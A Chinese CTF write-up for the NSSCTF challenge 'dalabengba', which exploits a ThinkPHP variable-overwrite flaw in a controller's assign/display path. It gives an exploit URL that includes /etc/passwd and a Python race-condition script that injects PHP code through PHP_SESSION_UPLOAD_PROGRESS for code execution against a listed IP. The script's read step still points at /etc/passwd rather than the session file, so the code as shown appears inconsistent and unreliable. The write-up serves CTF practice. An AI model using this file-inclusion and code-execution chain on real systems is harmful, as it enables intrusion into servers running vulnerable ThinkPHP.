NSSCTF dalabengba（thinkphp）

最近学了点thinkphp，于是想复现一道NSSCTF上的原题

直接下载附件，可以看到是thinkphp的格式

查看IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($doge=''){
        if(preg_grep('/flag|Home|Common\/21/i',$doge)){
            die("<dialog open>Get Out Hacker！</dialog>");
        }else{
            $this->assign($doge);
            $this->display();
        }
    }
}

参考这篇文章
https://www.cnblogs.com/zpchcbd/p/11949672.html

大概的调用过程（摘自freebuf）

传入的数组变量$doge最后赋值给$vars，从而可以使用extract()函数会对其进行变量覆盖

public function load($_filename,$vars=null)
{
if(!is_null($vars)){ extract($vars, EXTR_OVERWRITE); 
} include $_filename; //进行包含文件的操作 }

传入$doge为array(['_filename'=>'/etc/passwd'])
构造url可形成任意文件包含漏洞

http://1.14.71.254:28039//index.php?g=index&m=home&a=index&doge[_filename]=/etc/passwd

后续只需要利用条件竞争把文件传上去即可

import io
import sys
import requests
import threading

sessid = 'aaa'
sess_path='/tmp'
url='http://1.14.71.254:28039/'

def WRITE(session):
    while True:
        f = io.BytesIO(b'x' * 1024 * 50)
        session.post(
            url=url,
            data={"PHP_SESSION_UPLOAD_PROGRESS":f"<?=phpinfo();file_get_contents('flag.php');?>"},
            files={"file":('xxx.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://1.14.71.254:28039//index.php?g=index&m=home&a=index&doge[_filename]=/etc/passwd')
        if 'upload_progress_' in response.text:
            print(response.text)
            sys.exit(0)
        else:
            print('++++++retry++++++')

def main():
    with requests.session() as session:
        t1 = threading.Thread(target=WRITE, args=(session,))
        t1.daemon = True
        t1.start()
        READ(session)
if __name__ == '__main__':
    main()